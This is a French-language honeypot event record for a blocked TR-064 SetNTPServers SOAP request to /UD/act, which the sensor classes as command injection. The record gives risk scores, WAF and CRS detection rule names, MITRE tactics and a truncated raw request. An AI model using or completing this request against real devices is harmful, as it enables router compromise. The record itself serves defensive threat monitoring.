Méthode
POST
Port
7574
Chemin / cible
/UD/act
Pourquoi cette classification : Injection commande dans la requête · confiance 95%
Confiance classification
95%
Risque capteur
Critique
· 89
Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932190
CRS 932200
CRS 932205
CRS 932206
CRS 941130
SSRF Localhost SSRF
LFI Double-dot bypass
Ligne de requête
POST /UD/act?1 HTTP/1.1
User-Agent
Hello, world
Règles WAF
sqli-19
lfi-14
rce-0
rce-2
ssrf-2
ssrf-3
nosqli-3
cache-poison-host
ssrf-private-cidr
dns-rebind
Payload (extrait)
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe
Requête brute (extrait)
POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7574 User-Agent: Hello, world SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 640 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoa
Meta JSON brut
{
"http_header_count": 5,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "e02aa1b106d5c7c6a98def2b13005d5b84fd8dc8",
"http_host_hash": "2ea11e2c027357c75e58bdd844dc9d036d96540e",
"http_target_hash": "7e8ee3e366daaff4a7f160e51e7ae889642a5902",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 799,
"payload_entropy": 5.468970526841476,
"port_category": "registered",
"org": "China Unicom IP network China169 Guangdong province",
"service": "http",
"app_proto": "http",
"asn": 17816,
"country": "CN",
"dst_port": 7574,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 35,
"risk_novelty": 25,
"risk_boost": 27,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 25
},
"risk_score": 89,
"tag_count": 19,
"anomaly_count": 0,
"campaign_key": "85364dcd326c65f9e88b22cd2c15ce0f26ad2461",
"event_fingerprint": "b33a08e4440eb438f9356f4a2f7ecd6997a7fe1e",
"classification_reason": "Injection commande dans la requ\u00eate \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0284",
"pat-0340",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"CRS 941130",
"SSRF Localhost SSRF",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0284",
"pat-0340",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 25,
"risk_score": 89
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "CN",
"asn": 17816,
"org": "China Unicom IP network China169 Guangdong province",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "4ae7c3b6ac0beff671efa8cf57386151",
"payload_hash": "f73f764ce5de004336633db877812441",
"path_pattern_hash": "aab6bb0b01824b902f384edf9b3be853"
},
"target_context": {
"dst_port": 7574,
"service": "http",
"service_name": "http",
"risk_score": 89
},
"payload_preview": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe",
"method": "POST",
"path": "\/UD\/act",
"query_string": "1",
"user_agent": "Hello, world",
"waf_tags": [
"950079:sqli-19",
"950316:lfi-14",
"950327:rce-0",
"950335:rce-2",
"950402:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950584:cache-poison-host",
"950588:ssrf-private-cidr",
"951041:dns-rebind"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"rce-2",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"cache-poison-host",
"ssrf-private-cidr",
"dns-rebind"
],
"request_line": "POST \/UD\/act?1 HTTP\/1.1",
"request_sample": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text\/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http:\/\/schemas.xmlsoa",
"payload_snippet": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe",
"evidence": {
"method": "POST",
"path": "\/UD\/act",
"query_string": "1",
"user_agent": "Hello, world",
"waf_tags": [
"950079:sqli-19",
"950316:lfi-14",
"950327:rce-0",
"950335:rce-2",
"950402:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950584:cache-poison-host",
"950588:ssrf-private-cidr",
"951041:dns-rebind"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"rce-2",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"cache-poison-host",
"ssrf-private-cidr",
"dns-rebind"
],
"request_line": "POST \/UD\/act?1 HTTP\/1.1",
"request_sample": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text\/xml\r\nContent-Length: 640\r\n\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http:\/\/schemas.xmlsoa",
"payload_snippet": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe",
"classification_reason": "Injection commande dans la requ\u00eate \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "block",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "df9b5f9441a23b991754ddaf5529738700ca9e6e",
"protocol_details": {
"http_method": "POST",
"http_path": "\/UD\/act",
"request_line": "POST \/UD\/act?1 HTTP\/1.1",
"http_user_agent": "Hello, world",
"port": 7574,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7574 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/UD\/act",
"target_port_label": "7574 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Injection commande dans la requ\u00eate \u00b7 confiance 95%",
"classification_reason_label_fr": "Injection commande dans la requ\u00eate \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 89\/100 (Critique) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 35,
"novelty": 25,
"risk_score": 89
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 89,
"risk_label": "Critique",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7574,
"protocol_emulated": null,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "block",
"recommended_action_label": "Bloquer (recommand\u00e9)",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/UD\/act",
"request_line": "POST \/UD\/act?1 HTTP\/1.1",
"http_user_agent": "Hello, world",
"port": 7574,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7574 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/UD\/act",
"evidence_snippet": "POST \/UD\/act?1 HTTP\/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServe",
"target_port_label": "7574 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 11 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7574"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_block",
"tags_list": [
"950079:sqli-19",
"950316:lfi-14",
"950327:rce-0",
"950335:rce-2",
"950402:ssrf-2",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950584:cache-poison-host",
"950588:ssrf-private-cidr",
"951041:dns-rebind",
"http_cache_poison_host",
"http_cmd_injection",
"http_contenttype_attack_surface",
"http_dns_rebinding",
"http_host_header_injection",
"http_jwt_body",
"http_sap_soap",
"http_ssrf_body"
]
}
|